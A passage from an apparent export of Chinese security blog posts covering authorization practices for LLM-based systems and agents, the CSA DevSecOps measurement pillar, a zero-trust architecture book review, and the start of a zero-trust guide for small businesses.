相应的，这种情况下，最常见的误区便是依靠LLM将身份信息传达给后端API。由于LLM的不确定性，无法保证后端API收到的身份信息与真实的用户相同。这可能导致未经授权的数据访问和操作，从而引发数据泄露。依赖可能导致间接提示注入攻击的外部数据源，以及未经验证的API调用，同样是常见的错误示例。\nLLM系统编写和执行代码 AI编写连贯且可工作代码的能力不断增强，这成为基于LLM的系统的新的用例。人们期望在工作过程中，LLM能在运行时编写代码，然后动态执行以解决特定问题。然而，与之相伴的安全风险也无法忽视。\n由于LLM并不会自主地对代码进行安全审计，而且即使安全审计也无法完全排除代码可能存在的问题或漏洞。因此，报告认为，许多常见的安全实践可以应用于这一场景，包括但不限于对高风险进程进行沙箱隔离、遵循最小特权原则以及生成和使用审计日志。此外，报告特别提出了通过使用自定义解释器在语言本身中限制授权使用的方法。包括了：\n通过自定义受限解释器限制语言的执行能力 防止利用 恶意代码检测 有限的访问和权限 避免授予写权限或修改数据的访问权限 人工参与 基于LLM的自主智能体 AI智能体借助LLM理解环境并执行任务，将用户请求拆解成子任务，选择工具并调用系统资源完成任务。其关键组件有记忆系统（含短期和长期记忆）、知识库、工具集成/插件，以及任务分解和规划能力。\n为确保安全，需对编排器进行授权检查，对知识库实施访问控制，并对插件进行沙箱隔离。目前，基于LLM的自主智能体系统及访问控制仍在发展中，需深入理解交互点和信任边界以设计合理的访问控制措施。\n写在最后 LLM的爆发式发展，让基于LLM的系统的安全性问题变得严峻。哪怕整个系统只有一小部分功能使用了LLM，它依然能带来意向不到的安全风险。报告中或多或少的提到，LLM带来的安全风险很大程度是由于其自身特性的导致的，而且，这些问题目前依然无解。我们当然不能因噎废食，放弃LLM这个强大的工具。因此，做好相应的安全规划和防护是每一位从业者都要时刻谨记的。\n报告中有一句话：“LLM的表现就如同一个非常聪明但过于自信、容易被愚弄，没有街头智慧的青少年一样”。这句话非常形象，也从另一个角度诠释如何应对LLM带来的安全风险的方法论。\n通俗地说，应对LLM为系统带来的风险的关键思想是将其视作“不可信的人”——它有能力，但不靠谱。我们在日常工作和生活中，应对这样的伙伴，建立好与之相处的边界几乎是下意识的，而所有进出该边界的信息，我们都会再三核实——这和我们应对LLM的方式如出一辙：审视其能力，确定其边界，明确其权限，最后通过控制策略，实现对其的应用与监管，这就是我们为LLM为系统带来的安全风险的基本步骤。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%9F%BA%E4%BA%8E%E5%A4%A7%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8Bllm%E7%9A%84%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E5%85%B3%E9%94%AE%E6%8E%88%E6%9D%83%E5%AE%9E%E8%B7%B5/","summary":"自2022年ChatGPT发布以来，大语言模型（LLM）作为人工智能领域的关键技术趋势，驱动各行业加速推进系统智能化升级。企业积极尝试将LLM集成至自身系统，以期提升效率并优化用户体验。然而，LLM的引入不仅带来技术革新，也伴…","tags":["技术实践","AI安全","云安全","实操指南"],"title":"基于大语言模型（LLM）的系统安全：关键授权实践","unix":1745892000,"year":"2025"},{"date":"2025-04-29","dateISO":"2025-04-29","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/devsecops%E5%85%AD%E5%A4%A7%E6%94%AF%E6%9F%B1%E6%B5%8B%E9%87%8F%E7%9B%91%E6%8E%A7%E6%8A%A5%E5%91%8A%E5%92%8C%E8%A1%8C%E5%8A%A8/","plain":"当安全从“附属 KPI”跃升为业务韧性的硬指标，度量与可观测性就不再是选做题。**云安全联盟（CSA）大中华区发布的《DevSecOps 六大支柱》终章——“测量、监控、报告和行动”（Pillar 6），**为从事信息安全和信息技术管理和业务职能的人员提供了一套 “可视、可衡、可改” 的闭环方法论。\n为何关注 Pillar 6？ **验证投入：**没有量化，就无法证明安全 ROI，也无法与业务同频。\n**统一语言：**用统一的指标体系，把开发、运维、安全和管理层拉到同一张“仪表盘”。\n**驱动改进：**监控 ➜ 可视化报告 ➜ 精准行动，实现“发现—修复—复盘”流水线。\n“一图读懂” Pillar 6 框架 测量先用统一指标池把“安全健康度”量化； 监控把这些指标接入日志、指标、链路追踪与用户体验四条数据管道，形成实时“数字孪生”； 报告再按“可视-聚焦-迭代-协作”四原则，把监控数据转译成管理层和一线都能读懂的洞察； 最后行动将报告驱动的改进任务自动派单到开发、运维与安全工具链，闭环落地。 这样从度量 → 可观测 → 决策 → 闭环的顺序，把 DevSecOps 的抽象目标拆成具体、可执行、可复盘的日常工作流，让安全既“看得见”又“动得快”。\n12 项核心指标 维度 指标示例 价值 脆弱性 MTTI、MTTR、未解决燃尽率、开发速度占比 把“问题堆积”变成“风险曲线” 架构安全 控制复用率、深度防御分值、安全模型采用率、威胁-风险映射 量化“设计即安全”落地程度 事件响应 MTTD、MTTC、MTTRN、后审结案率 确保“告警→恢复”可复盘可优化 在正式列出“核心指标”之前，先回答一个常被高管追问的问题：为什么是 12 项，而不是更多或更少？\nPillar 6 将 DevSecOps 全生命周期拆分为 “脆弱性管理—安全架构—事件响应” 三条主干，每条主干再各选取 4 个对业务最具解释力、且易于自动化采集的度量点。这样既能覆盖 左移安全（设计-编码阶段的漏洞暴露）、体系安全（纵深防御与模型落地）和 右移安全（告警闭环与恢复韧性）三个维度，又不会让度量体系因指标过载而难以落地。\n[!TIP]\n建议先在试点线上应用 1–2 个“北极星指标”，如 MTTI + MTTR 或 MTTD + MTTRN，用 2–3 个迭代 Sprint 验证数据采集与仪表盘可视化；待指标数据稳定后，再逐步补齐其余 8–10 项。过程中务必记录出处、口径与阈值，方便横向团队做基准对比，避免“同指标不同解读”造成的沟通成本。\n成熟度自检：Alpha → Beta → Charlie 团队象限 现状画像 最佳下一步 Alpha 指标缺失、补丁滞后、事件积压 建立最小指标集 + 周度扫描 Beta 指标零散、流程割裂 自动化控件 + 跨职能仪表盘 Charlie 指标闭环、决策数据化 精细化成本-收益 \u0026 文化固化 在实践中，这 Alpha → Beta → Charlie 三档成熟度并非“晋级打怪”的线性流程，而更像是一面实时映照组织安全文化与工程能力的镜子。正确的打开方式是：先用核心指标做体检，定位自己处于哪个象限；再对照 Pillar 6 提供的指标池与改进手册，明确下一阶段要补齐的短板。这种“测—差距分析—迭代”闭环，能避免为了追求高分而盲目上工具、堆流程的两难局面。\n值得注意的是，许多团队在 Beta → Charlie 的跃迁阶段会遭遇“跨职能协同瓶颈”——技术债减少了，但组织协作瓶颈显现。Pillar 6 经验表明：当 MTTI、MTTR 等硬指标已趋于稳定，却仍难把安全前移时，往往是因为 安全度量结果没有被纳入绩效与预算分配。此时应将四大报告原则（可见、聚焦、迭代、协作）嵌入 OKR 及季度复盘，用数字驱动资源和激励，才能真正破局。\n最后，无论你当前是 Alpha、Beta 还是 Charlie，都应保持“可观测性优先”的心态：把每一次缺陷、每一次告警、每一次改进都沉淀为数据点。当团队能用同一套指标讲述“安全价值故事”时，成熟度曲线自然会水涨船高，安全 ROI 也将更容易量化并获得高层 buy-in——这正是 Pillar 6 想帮你达成的长期目标。\n五步落地路线图 第一步，先为团队设定3–5 个与业务 SLA 最紧密的“北极星指标”（如 MTTI、MTTR、MTTD 等），把安全从抽象概念变成可度量、可对齐的共同目标。只有当开发、运维、安全和管理层在同一张仪表盘上看到同一组数字时，后续的投资与协作才有方向可循。\n第二步，以单一产品线或黄金流水线做概念验证（PoC）。在最小可行范围内验证数据采集、仪表盘可视化以及告警联动的完整闭环，用最快速度证明“安全可观测性确实能提升交付可靠性”，从而为扩张赢得组织信任与资源。\n第三步，当 PoC 跑通后，进入垂直扩展阶段：沿着“脆弱性 → 安全架构 → 事件响应”三条主干，逐步补齐 12 项核心指标，并把日志、指标、链路追踪与 UX 数据全部接入统一可观测平台。这样既形成左移到右移的全链路闭环，也避免多工具割裂导致的数据孤岛。\n第四步，数据通路稳定后启动横向推广。将统一的指标口径、阈值与看板模板复制到更多研发／运营团队，让不同职能都能用同一套语言讨论风险与改进。此举对应报告中“先垂直深化，再多项目横展”的节奏，确保成功经验快速规模化，而不是陷入重复造轮子的漩涡。\n最后一步是持续反馈与文化固化。通过月度或季度的“度量—报告—行动”循环，把指标结果嵌入 OKR、绩效与预算决策；当资源倾斜与激励分配都由数据驱动，DevSecOps 度量就会从试点工具升级为组织习惯，真正实现报告所倡导的“用安全可观测性管理企业级风险”的长期目标。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/devsecops%E5%85%AD%E5%A4%A7%E6%94%AF%E6%9F%B1%E6%B5%8B%E9%87%8F%E7%9B%91%E6%8E%A7%E6%8A%A5%E5%91%8A%E5%92%8C%E8%A1%8C%E5%8A%A8/","summary":"当安全从“附属 KPI”跃升为业务韧性的硬指标，度量与可观测性就不再是选做题。云安全联盟（CSA）大中华区发布的《DevSecOps 六大支柱》终章——“测量、监控、报告和行动”（Pillar 6），为从事信息安全和信息技术…","tags":["技术实践","DevSecOps","云安全","标准解读"],"title":"DevSecOps六大支柱：测量、监控、报告和行动","unix":1745892000,"year":"2025"},{"date":"2025-01-15","dateISO":"2025-01-15","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E9%9B%B6%E4%BF%A1%E4%BB%BB%E6%9E%B6%E6%9E%84-%E5%85%A8%E9%9D%A2%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%AE%9E%E6%96%BD%E6%8C%87%E5%8D%97/","plain":"笔者去年协同西塞数字安全研究院的小伙伴和陈本峰教授等共同翻译本书，现已出版。购买请点击这里！\n引言 在当今信息技术飞速发展的时代，数字化转型已成为各类企业和组织提升竞争力、优化业务流程的关键举措。无论是传统行业还是新兴领域，数字化工具和平台的广泛应用，不仅提高了运营效率，还开辟了新的商业模式和增长机会。然而，随着数字化进程的加快，网络安全问题也日益凸显，成为制约企业持续发展的重要因素。网络攻击的手段和技术日新月异，威胁不断升级，传统的安全防护模式已难以有效应对日益复杂和多样化的网络安全挑战。\n传统的网络安全防护模式，通常依赖于建立坚固的网络边界，假设内部网络是可信的，从而在外部设立防火墙和入侵检测系统。这种“城堡式防御”理念在互联网早期阶段发挥了重要作用，但随着技术的进步和业务模式的演变，其局限性逐渐显现。移动办公、云计算、物联网等新兴技术的广泛应用，使得网络边界变得模糊，内部威胁和数据泄露的风险显著增加。企业和组织不仅要面对外部的黑客攻击，还需要应对内部员工滥用权限、供应链攻击等多种威胁。\n在此背景下，零信任架构（Zero Trust Architecture，简称ZTA）应运而生，成为新时代网络安全的重要战略。零信任理念强调“永不信任，始终验证”，即不论是来自内部还是外部的任何访问请求，都需要经过严格的身份验证和权限校验。这一理念彻底颠覆了传统的信任模型，打破了内外部网络的信任边界，构建了一个更加动态、灵活和安全的网络防护体系。零信任架构不仅在理论上为网络安全提供了新的视角和方法，也在实践中展现出了显著的效果，成为企业和组织提升网络安全防护能力的有力工具。\n本书《零信任架构》系统性地介绍了零信任理念的起源、发展、核心内容及其实际应用。通过深入的理论分析与丰富的实践案例，读者将全面了解零信任架构的各个方面，从而在数字安全的道路上迈出坚实的一步。无论是网络安全从业者、企业管理者，还是对零信任架构感兴趣的行业专家，本书都将提供宝贵的知识和实用的指导，助力他们在复杂多变的网络安全环境中构建更加坚固和灵活的防护体系。\n零信任的起源与发展 零信任理念的诞生并非偶然，而是网络安全发展过程中对传统防护模式局限性的深刻反思和技术进步的必然产物。其历史渊源可以追溯到20世纪80年代末，随着互联网的快速普及，网络安全问题逐渐显现。1988年，莫里斯蠕虫事件成为互联网历史上首次大规模的蠕虫攻击，导致数千台计算机瘫痪，给全球互联网基础设施带来了巨大的冲击。这一事件不仅暴露了当时网络系统在面对内部与外部威胁时的脆弱性，也引发了对网络信任问题的深刻反思。莫里斯蠕虫事件的教训促使安全专家们思考如何在设计网络防护时，消除对单一边界的依赖，建立更加坚固和灵活的安全机制。\n进入1994年，计算机科学家Stephen Marsh提出了信任理论，强调在分布式系统中不应默认任何实体的可信性，所有访问请求都需经过验证。这一理论为零信任理念奠定了坚实的理论基础。然而，直到2009年，Forrester研究机构正式提出“零信任”术语，零信任理念才逐渐进入专业讨论的视野，成为网络安全领域的重要研究方向。Forrester的研究表明，传统的安全模式已经无法满足现代企业对灵活性和安全性的双重需求，零信任架构作为一种新的安全范式，应运而生。\n2014年，Google推出了BeyondCorp模型，作为零信任架构的实际应用案例。BeyondCorp通过消除传统边界，强化身份验证和访问控制，实现了对员工和设备的全面管理，大幅提升了企业的安全防护能力。BeyondCorp的成功实践，证明了零信任架构在实际应用中的可行性和有效性，进一步推动了零信任理念的普及和发展。BeyondCorp不仅改变了Google自身的安全防护模式，也为全球范围内的企业提供了宝贵的实践经验，成为零信任架构的重要参考。\n随着时间的推移，零信任理念不断演进，逐渐形成了系统化的架构。2020年，美国国家标准与技术研究院（NIST）发布了SP 800-207标准，对零信任架构进行了标准化定义，明确了零信任的基本原则、核心组件和实施指南。NIST的标准化工作，为全球范围内的零信任实践提供了权威参考，促进了零信任架构在各行业的广泛应用。NIST标准的发布，不仅规范了零信任架构的实施步骤和方法，也为企业和组织提供了科学的指导，帮助他们在复杂的网络环境中构建更加稳固的安全防护体系。\n此外，随着云计算和移动互联网的发展，零信任架构的应用范围不断扩展，涵盖了从网络边界防护到应用层安全、从用户身份管理到数据保护等多个方面。企业和组织在实施零信任架构时，逐渐意识到其不仅是一种技术方案，更是一种全新的安全理念和管理模式。通过系统化的实施，零信任架构能够有效提升企业的整体安全姿态，增强其对复杂网络威胁的应对能力。\n零信任架构的发展还受到了一系列行业标准和最佳实践的推动。各大技术公司和安全机构纷纷推出了零信任解决方案和指南，进一步丰富了零信任架构的理论和实践。例如，微软、Cisco、IBM等公司在零信任领域的研究和产品开发，为企业提供了多样化的零信任解决方案，满足不同规模和行业的需求。同时，学术界也对零信任架构进行了深入研究，探讨了其在不同应用场景下的适用性和有效性，推动了零信任理念的不断完善和发展。\n本书的核心内容 《零信任架构》一书结构严谨，内容全面，旨在为读者提供系统化的零信任理论与实践指导。全书主要分为以下几个部分：\n零信任的定义与核心能力 书中首先详细定义了零信任架构的概念，阐述了其在现代网络安全中的重要地位。零信任不仅仅是一种技术方案，更是一种全新的安全理念和管理模式。通过分析零信任的核心能力，读者能够全面理解其在策略制定、身份管理、漏洞防护、执行监控和数据分析等方面的应用。书中深入探讨了零信任架构的五大核心能力，即策略与治理、身份管理、漏洞防护、执行监控和数据分析，揭示了其在构建安全体系中的关键作用。\n策略与治理\n策略与治理是零信任架构的基础，涉及制定和管理安全策略、规范和流程。书中详细介绍了如何通过策略与治理，建立统一的安全管理框架，确保各项安全措施的有效实施。同时，强调了治理在零信任架构中的重要性，通过完善的治理机制，确保安全策略能够适应不断变化的安全环境和业务需求。书中还讨论了政策制定的最佳实践，包括政策的制定、实施和审查，帮助组织建立全面而灵活的安全政策体系。\n身份管理 身份管理是零信任架构的核心，涉及用户身份的认证与授权。书中深入探讨了多因素认证（MFA）、单点登录（SSO）和基于角色的访问控制（RBAC）等技术，介绍了如何通过有效的身份管理，确保只有经过验证的用户和设备能够访问敏感资源。通过详细的案例分析，展示了身份管理在实际应用中的重要性和实现方法。书中还探讨了最新的身份管理技术，如生物识别技术、基于风险的身份验证等，帮助读者了解前沿的发展趋势和应用场景。\n漏洞防护 漏洞防护是零信任架构的重要组成部分，涉及对系统和应用程序漏洞的识别、评估和修复。书中介绍了漏洞管理的最佳实践，包括漏洞扫描、补丁管理和漏洞修复策略，帮助读者建立全面的漏洞防护体系。通过实际案例，展示了如何有效应对和修复漏洞，降低系统被攻破的风险。书中还讨论了漏洞管理的自动化工具和技术，探讨了如何利用机器学习和人工智能技术提升漏洞检测和修复的效率和准确性。\n执行监控 执行监控是零信任架构的关键环节，涉及对系统活动的实时监控和异常检测。书中详细介绍了安全信息和事件管理（SIEM）、行为分析和威胁检测等技术，探讨了如何通过执行监控，及时发现和响应安全威胁。通过丰富的实践案例，展示了执行监控在实际应用中的效果和实现方法。书中还探讨了如何构建高效的监控架构，整合不同的监控工具和技术，实现全面的安全监控和威胁情报分析。\n数据分析 数据分析是零信任架构的高级能力，涉及对大量安全数据的收集、分析和应用。书中介绍了如何通过大数据分析、机器学习和人工智能技术，提升数据分析能力，实现对复杂威胁的精准识别和响应。通过详细的案例分析，展示了数据分析在零信任架构中的应用和价值。书中还讨论了数据隐私和合规性问题，探讨了如何在数据分析过程中保护用户隐私和遵守相关法律法规。\n零信任的核心理念与应用 零信任架构的核心理念包括持续验证与动态调整、最小权限与细粒度控制等。这些理念共同构建了一个动态、弹性的安全防护体系，能够有效应对不断变化的威胁环境。\n持续验证与动态调整 持续验证与动态调整是零信任架构的核心理念之一，强调对每一个访问请求进行实时的身份验证与权限检查，而非依赖于静态的信任边界。这一理念确保了即使攻击者突破了某一防线，也难以在系统内部横向移动，降低了潜在的损失。具体而言，零信任架构要求在每次访问请求时，都进行多因素认证（MFA）、行为分析等多层次的安全验证，确保请求的合法性和安全性。同时，动态调整机制能够根据实时的安全态势和业务需求，灵活调整权限和策略，提升系统的适应能力和防护水平。\n书中通过详细的案例分析，展示了持续验证与动态调整在实际应用中的具体实现方法。例如，在一个大型企业中，零信任架构通过引入行为分析技术，实时监控员工的访问行为，及时发现和响应异常行为，防止内部威胁的扩散。同时，动态调整机制根据业务需求和安全态势，灵活调整员工的访问权限，确保系统的安全性和灵活性。\n最小权限与细粒度控制 最小权限与细粒度控制是零信任架构的另一核心理念，要求为每一个用户和设备分配最少必要的权限，限制其访问范围，减少潜在的攻击面。这不仅提升了安全性，也有助于提高系统的可管理性和灵活性。通过细粒度的访问控制策略，零信任架构能够精准地管理用户和设备的权限，确保其只能访问必要的资源和数据，避免了权限滥用和数据泄露的风险。同时，最小权限原则也促进了权限的动态调整和审计，提升了整体的安全管理水平。\n书中通过具体案例，展示了最小权限与细粒度控制在实际应用中的重要性。例如，在一个金融机构中，零信任架构通过实施细粒度的访问控制，确保员工只能访问与其工作相关的系统和数据，防止了内部数据泄露的风险。同时，通过定期的权限审计和动态调整，金融机构能够及时发现和修正权限滥用的问题，提升了整体的安全管理水平。\n零信任在组织中的实际应用 在实际应用中，零信任架构需要结合技术、流程与文化的变革。例如，零信任隔离研讨会的重要性在于促进跨部门合作，确保安全策略的全面落实。通过定期的研讨会和培训，增强员工的安全意识，促进安全文化的建设，确保零信任理念在整个组织内得到广泛理解和支持。\n技术手段如多因素认证、微分段、行为分析等需要与优化的业务流程相结合，形成一体化的安全防护体系。书中详细介绍了这些技术的具体实现方法和应用场景，帮助读者理解如何将技术手段有效融入业务流程，提升整体的安全防护能力。\n然而，零信任的实施也面临诸多挑战，包括技术复杂性、现有系统的兼容性以及组织文化的转变等。书中针对这些挑战，提出了相应的应对策略，如分阶段实施、加强员工培训和提升安全意识等，帮助组织顺利过渡到零信任架构。这些策略不仅有助于降低实施难度，还能提升组织在面对安全威胁时的应对能力和韧性。\n例如，在一个制造企业中，零信任架构的实施需要结合生产线的实际情况，逐步引入微分段技术，确保生产系统的安全性。同时，通过定期的员工培训，提升员工的安全意识，促进安全文化的建设，确保零信任理念在整个组织内得到全面落实。\n零信任的价值与意义 零信任架构对网络安全具有深远的影响，其最显著的贡献在于改变了传统的安全模式。从“城堡式防御”转向动态防御，零信任架构通过持续的验证与细粒度的控制，大幅提升了风险防控能力。这种转变不仅增强了系统的弹性，也提升了对复杂威胁的应对能力。\n改变传统安全模式 传统的“城堡式防御”模式，依赖于建立坚固的外围防护，假设内部网络是可信的。然而，随着攻击技术的进步和内部威胁的增加，这一模式的局限性日益显现。零信任架构打破了这一假设，强调无论访问请求来自何处，都需进行严格的身份验证和权限校验，建立基于身份和行为的动态防护体系。这一理念不仅提升了安全性，也使得防护措施更加灵活和适应性强。\n书中通过详细的对比分析，展示了传统安全模式与零信任架构在应对网络威胁方面的不同之处。例如，在一个大型企业中，传统的城堡式防御模式依赖于外围防火墙和入侵检测系统，假设内部网络是可信的。然而，随着内部威胁的增加和攻击技术的进步，企业面临的安全挑战日益复杂。通过引入零信任架构，企业能够在每一次访问请求时进行严格的身份验证和权限校验，建立更加动态和灵活的安全防护体系，显著提升了整体的安全性和防护能力。\n提升风险防控能力 零信任架构通过持续的验证和细粒度的控制，显著提升了整体的风险防控能力。其多层次的安全防护机制，能够在攻击者突破某一防线后，迅速限制其在系统内部的活动范围，减少潜在的损失。同时，零信任架构的动态调整机制，能够根据实时的安全态势和业务需求，灵活调整安全策略，确保防护措施始终处于最佳状态。\n书中通过具体案例，展示了零信任架构在提升风险防控能力方面的实际效果。例如，在一个金融机构中，零信任架构通过引入行为分析技术，能够实时监控员工的访问行为，及时发现和响应异常行为，防止内部威胁的扩散。同时，通过细粒度的访问控制策略，金融机构能够确保只有经过验证的员工才能访问敏感数据，显著降低了数据泄露的风险。\n降低数据泄露和系统被攻破的风险 零信任架构通过最小权限和细粒度控制，降低了数据泄露和系统被攻破的风险。通过精准的权限管理，确保用户和设备只能访问必要的资源和数据，减少了权限滥用和数据泄露的可能性。同时，持续的监控和审计机制，能够及时发现和响应异常行为，防止潜在的安全威胁扩散。\n书中通过详细的案例分析，展示了零信任架构在降低数据泄露和系统被攻破风险方面的具体应用。例如，在一个医疗机构中，零信任架构通过实施细粒度的访问控制，确保医务人员只能访问与其工作相关的病患数据，防止了内部数据泄露的风险。同时，通过持续的监控和审计，医疗机构能够及时发现和响应异常行为，防止系统被攻破，保障了病患数据的安全性和隐私性。\n本书的独特贡献 本书《零信任架构》的独特贡献在于其实用性强的参考架构和分步实施指导，结合丰富的真实案例，为读者提供了宝贵的经验分享。通过详细的理论解析和实践指导，书中帮助读者全面理解零信任架构的各个环节，提升其在实际工作中的应用能力。\n实用性强的参考架构\n书中提供了详尽的零信任参考架构，涵盖了策略与治理、身份管理、漏洞防护、执行监控和数据分析等关键领域。通过系统化的架构设计，读者能够清晰地理解零信任架构的整体框架及其各组成部分的协同工作机制，为实际应用提供了坚实的理论支持。书中还通过图表和示意图，直观地展示了零信任架构的各个组成部分及其相互关系，帮助读者更好地理解和应用零信任理念。\n适合不同规模组织的分步实施指导\n零信任架构的实施需要根据组织的具体需求和现有环境进行定制。书中针对不同规模和行业背景的组织，提供了灵活可行的分步实施指导，确保零信任架构能够根据实际需求进行定制和优化。这种分阶段的实施策略，不仅降低了实施难度，还提升了实施效果，帮助组织在不同发展阶段顺利过渡到零信任架构。例如，书中针对中小型企业和大型企业分别提供了不同的实施方案，帮助不同规模的组织根据自身资源和需求，选择最适合的实施路径。\n结合真实案例的经验分享\n通过丰富的真实案例，书中展示了零信任架构在不同组织和行业中的实际应用效果和经验教训。案例分析不仅帮助读者理解零信任架构的实际操作方法，还提供了宝贵的实践经验，帮助读者在实际应用中规避潜在风险，提升实施效果。例如，书中通过对Google BeyondCorp模型的详细解析，展示了零信任架构在大型互联网公司的实际应用效果；同时，通过对中小企业实施零信任架构的案例分析，展示了零信任架构在不同规模组织中的适应性和灵活性。\n目标读者与推荐理由 《零信任架构》适合广泛的读者群体，尤其是网络安全工程师、架构师及技术领导，以及对零信任架构感兴趣的行业专家和企业管理者。对于这些读者而言，本书不仅提供了系统的理论知识，还结合了大量的实践案例和经验分享，具有极高的参考价值。\n适合的读者群体 网络安全工程师和架构师：本书系统介绍了零信任架构的各个方面，帮助他们深入理解零信任理念，提升安全设计和实施能力。通过详细的技术解析和实践指导，工程师和架构师能够在实际工作中有效应用零信任架构，提升整体的安全防护水平。\n技术领导和管理者：通过全面的理论和实践指导，帮助技术领导者制定和推动组织的零信任战略，提升整体安全防护水平。书中介绍的策略与治理、风险评估和安全文化建设等内容，能够帮助管理者全面掌握零信任架构的实施和管理方法，推动组织的整体安全战略。\n行业专家和研究人员：书中详尽的理论分析和实践案例，为行业专家和研究人员提供了丰富的参考资料，促进零信任领域的学术研究和技术创新。通过深入的理论探讨和实际应用分析，研究人员能够进一步深化对零信任架构的理解，推动相关技术和方法的发展。\n企业管理者和决策者：通过介绍零信任架构的价值和实施策略，帮助企业管理者认识到零信任的重要性，并推动其在组织中的落地实施。书中提供的全面分析和实际案例，能够帮助管理者全面评估零信任架构的可行性和价值，制定科学的实施计划，提升组织的整体安全管理水平。\n推荐理由 深入浅出的内容组织：书中内容结构合理，理论与实践相结合，既适合零信任初学者，也适合有一定基础的专业人士，满足不同层次读者的需求。通过系统的章节安排和逻辑清晰的内容组织，读者能够循序渐进地掌握零信任架构的各个方面，提升整体的理解和应用能力。\n丰富的实践经验和案例分析：通过大量的真实案例和实践经验分享，帮助读者将理论知识应用于实际工作中，提升安全防护能力。书中通过对不同规模和行业的企业案例分析，展示了零信任架构在实际应用中的具体效果和经验教训，帮助读者在实际工作中规避潜在风险，提升实施效果。\n覆盖零信任理念的全生命周期：书中全面覆盖了零信任理念的全生命周期，从规划、实施到运营与持续改进，确保读者能够全面掌握零信任架构的各个环节，提升整体的安全管理水平。通过系统的全生命周期分析，读者能够全面理解零信任架构的实施步骤和方法，确保零信任架构在实际应用中的有效性和持续性。\n权威的理论支持与实践指导：书中基于大量的学术研究和行业实践，提供了权威的理论支持和实用的实践指导。通过引用NIST、Forrester等权威机构的研究成果，书中内容的权威性和可信度得到了保障。同时，通过详细的实践指导，读者能够在实际工作中有效应用零信任架构，提升整体的安全防护能力。\n适应不同组织需求的灵活性：书中提供的分步实施指导和灵活的实施策略，能够适应不同规模和行业背景的组织需求，确保零信任架构能够根据实际需求进行定制和优化。无论是大型企业、中小型企业，还是政府机构和非营利组织，都能够根据自身需求，选择最适合的实施路径，提升整体的安全管理水平。\n结语 零信任架构作为新时代网络安全的重要组成部分，正在深刻改变着企业和组织的安全防护方式。通过“永不信任，始终验证”的核心理念，零信任架构为应对复杂多变的网络威胁提供了坚实的理论和实践基础。本书《零信任架构》系统地介绍了零信任的起源、发展、核心内容及其应用，旨在帮助读者深入理解并有效实践零信任架构。\n在数字安全日益重要的今天，掌握零信任理念不仅是提升安全防护能力的必要手段，也是推动组织数字化转型的重要步骤。零信任架构通过其独特的安全策略，帮助组织建立更加坚固和灵活的安全防护体系，提升整体的风险防控能力和安全韧性。通过本书的学习，读者能够全面掌握零信任架构的各个环节，提升整体的安全管理水平，构建更加安全、可靠的数字化未来。\n零信任架构不仅是一种技术方案，更是一种全新的安全理念和管理模式。通过系统的理论分析和丰富的实践案例，读者能够全面理解零信任架构的各个方面，提升在实际工作中的应用能力。无论您是零信任初学者，还是希望深化理解和实践的专业人士，本书都将成为您不可或缺的参考宝典，助力您在数字安全的道路上取得卓越的成就。\n后记 翻译本书的过程中，我们深刻体会到零信任架构在实际应用中的重要性和复杂性。感谢所有参与翻译和编写工作的团队成员，感谢他们的辛勤付出和专业精神。同时，感谢各位专家和学者在零信任架构领域的研究成果，为本书提供了宝贵的参考资料。特别感谢NIST、Forrester、Google等机构提供的研究报告和实践案例，帮助我们深入理解和应用零信任理念。也感谢李雨航院士、李颉院士、王皓教授、OWASP北京分会负责人张坤老师为本书写推荐语。最后，感谢所有读者对本书的支持与信任，希望本书能够为您的数字安全之路提供有力的支持。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E9%9B%B6%E4%BF%A1%E4%BB%BB%E6%9E%B6%E6%9E%84-%E5%85%A8%E9%9D%A2%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%AE%9E%E6%96%BD%E6%8C%87%E5%8D%97/","summary":"笔者去年协同西塞数字安全研究院的小伙伴和陈本峰教授等共同翻译本书，现已出版。购买请点击这里！","tags":["技术实践","零信任","翻译","方法解析"],"title":"《零信任架构》-全面解析与实施指南","unix":1736906400,"year":"2025"},{"date":"2025-01-14","dateISO":"2025-01-14","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E9%9B%B6%E4%BF%A1%E4%BB%BB-%E4%B8%AD%E5%B0%8F%E4%BC%81%E4%B8%9A%E7%9A%84%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%BD%AC%E5%9E%8B%E4%B9%8B%E8%B7%AF/","plain":"本文针对CSA报告《Zero Trust Guidance for Small and Medium Size Businesses (SMBs)》进行解读。\n谨纪念BlueDog在CSA Research（Global）参与的第一个白皮书审阅。\n也十分感谢Global的专家，对我的不吝指点！\n1. 引言 在全球经济中，中小企业（SMBs）扮演着至关重要的角色。然而，随着数字化进程的加快，SMBs面临的网络安全威胁也在不断增加。网络攻击不仅可能导致数据泄露、财务损失，还可能严重损害企业声誉，甚至导致业务停摆。传统的网络安全模式由于其边界防护的局限性，难以应对现代复杂多变的威胁环境。基于此，零信任（Zero Trust）作为一种新兴的网络安全战略，正在全球范围内被越来越多的企业采纳。\n零信任的核心理念在于“不信任任何人，始终验证”，强调对所有访问请求进行严格的身份验证和权限管理，确保只有经过验证的用户和设备才能访问特定的资源。本文旨在深入解读《中小企业零信任指南》，帮助SMBs理解并应用零信任策略，从而提升其网络安全水平，增强业务韧性。\n2. 为什么SMBs需要关注网络安全？ 